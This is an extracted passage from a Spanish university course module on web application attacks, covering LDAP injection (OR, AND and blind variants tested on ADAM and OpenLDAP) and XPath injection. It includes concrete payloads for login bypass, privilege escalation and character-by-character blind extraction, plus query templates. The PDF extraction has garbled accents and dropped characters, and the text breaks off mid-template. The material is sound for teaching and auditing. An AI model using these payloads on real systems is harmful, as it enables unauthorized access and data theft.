presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
